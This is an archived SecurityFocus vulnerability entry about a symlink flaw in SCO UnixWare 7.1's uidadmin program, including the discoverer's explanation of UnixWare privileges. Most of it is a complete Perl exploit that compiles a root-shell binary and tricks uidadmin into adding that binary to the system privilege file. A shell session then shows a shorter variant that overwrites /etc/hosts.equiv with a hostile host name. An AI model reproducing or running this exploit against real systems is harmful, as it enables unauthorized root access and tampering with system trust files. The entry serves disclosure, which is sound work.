source: http://www.securityfocus.com/bid/842/info

Certain versions of SCO Unixware ship with an exploitable version of the /usr/bin/uidadmin program. The problem lies in that 'uidadmin' runs with root privileges and performs insecure writes to a scratch directory (/tmp/ in this instance). A malicious user may overwrite any existing file on the system with their own data provided the files do not already exist, or they may overwrite existing files with a single string.

This symlink attack is not typical due to specific features within the Unixware OS. The following excerpt is from a the discoverer of this bug, Brock Tellier. The message in it's entirety is referenced in the 'Credit' section of this vulnerability entry.

" UnixWare's system privileges are assigned two-fold. First, it has the standard UNIX suid/sgid conventions. Second, it has a list of programs and the additional privileges they gain when run in /etc/security/tcb/privs.

For instance, /usr/bin/ping is *not* suid/sgid but may still perform raw socket operations because it gains the "driver" privilege in the privs file. Even ln, cp, mkdir and so on must have filesystem modification privileges in this file in order to perform their respective functions.

A program which has "allprivs" defined in /etc/security/tcb/privs may perform any operation as though this program was suid-root. If we are able to overflow a buffer, for instance, in one of these allprivs programs, we could run shellcode normally, but only after we've set our uid to 0. Similarly if we overflowed ping, we could do all the socket operations we want, but we could NOT gain root access.

The uidadmin program does not have allprivs defined, so we cannot just cut to the setreuid(0,0) chase and execute our shell. uidadmin does, however, have the dacwrite privilege and can therefore override all of the normal UNIX DAC (Discretionary Access Control) security precautions (including filemode bits).

Because of the way uidadmin opens "uidata.tmp", we can only either create a file with any contents we desire anywhere on the system (as long as it doesn't exist) or overwrite an existing file with our string."


#!/usr/bin/perl

###########################################################
# /usr/bin/uidadmin exploit for UnixWare 7.1
# Uses a symlink exploit to add our program to a list of elevated privile=
ges
# programs in /etc/security/tcb/privs.  After reboot, /tmp/ui will be add=
ed
# to the list of privileged programs.
#
# Format of the privs file is as follows (ctime and size are just as
# st_ctime and st_size as described by stat(2)):
# size:checksum:time:perms:/full/path/to/prog
#
# -Brock Tellier btellier@usa.net
#
###########################################################

$ui_source = "/home/xnec/ui.c";
$ui_dest = "/home/xnec/ui";
$ui_code = "void main() { setreuid(0,0); system(\"/bin/ksh\");}";
$privloc = "/etc/security/tcb/privs";
$uidatafile="/tmp/uidata";
$sumpath = "/usr/bin/sum";
$uidata_sym = "/tmp/uidata.tmp";
$compiler = "cc";
$uidadmin = "/usr/bin/uidadmin";

###
# Path to the directory where your $uidata_sym will exist relative to
# /etc/uidata/
###
$uidadminarg = "../../tmp";


print("\n* uidadmin exploit for UnixWare 7.1 <btellier\@usa.net>\n\n");

###
# Output $ui_code to $ui_source and compile into $ui_dest
###

open(UIS, ">$ui_source");
printf(UIS "$ui_code\n");
close(UIS);
system ("$compiler -o $ui_dest $ui_source");
if ( -e $ui_dest ) {
   print("\n$ui_dest successfully compiled\n");
}
   else { die "error compiling $ui_dest"; }

###
# stat $ui_dest for size in bytes and ctime (seconds since epoch)
###

$size=(stat($ui_dest))[7] || die "cannot stat $ui_dest";
$ctime=(stat($ui_dest))[10];
print("$ui_dest size=$size ctime=$ctime\n");

###
# get the checksum value for $ui_dest
###

open(SUM, "$sumpath -r $ui_dest|");
$checksum=<SUM>;
chomp($checksum);
@sumfields=split(' ', $checksum);
$chksum = @sumfields[0];
$chksum =~ s/^0//;

print("$ui_dest checksum is $chksum\n");

###
# Put our entry into $uidatafile, use trailing newline
###

$uidata="$size:$chksum:$ctime:\%fixed,allprivs:$ui_dest";
print("placing '$uidata' into $uidatafile\n");
open(TMP, ">$uidatafile");
print(TMP "$uidata\n");
close(TMP);

###
# Create symlink from $uidata_sym to $privloc
###
symlink($privloc, $uidata_sym);

###
# All the preparation is done, launch the exploit
###

system("$uidadmin -S $uidadminarg -a -r bah");

###
# Find out if the exploit worked, assume it did if $ui_dest is in $privlo=
c
###

open (PRIV, "$privloc");
@privs = <PRIV>;
foreach $priv (@privs) {
   if ($priv =~ /$ui_dest/) {
      print("Exploit successful. Run $ui_dest after reboot for rootshell
\n");
      exit(0);
   }
}
print("Exploit not successful, sorry!\n");


--- /uix.pl ----

--- for those with little patience ---

bash-2.02$ id              =

uid=106(xnec) gid=1(other)
bash-2.02$ ls -la /etc/hosts.equiv
UX:ls: ERROR: Cannot access /etc/hosts.equiv: No such file or directory
bash-2.02$ ls -la /usr/bin/uidadmin
-r-xr-s--x    1 sys      sys           18012 Apr  3  1998 /usr/bin/uidadm=
in
bash-2.02$ ln -s /etc/hosts.equiv /tmp/uidata.tmp
bash-2.02$ echo "cracker.com" > /tmp/uidata
bash-2.02$ /usr/bin/uidadmin -S ../../tmp -a -r bah
UX:uidadmin: ERROR: mandatory field(s) missing
bash-2.02$ cat /etc/hosts.equiv
cracker.com
bash-2.02$ ls -al /etc/hosts.equiv
-rw-rw-r--    1 sys      sys              12 Dec  2 19:05 /etc/hosts.equi=
v
bash-2.02$ =


--- /patience ---
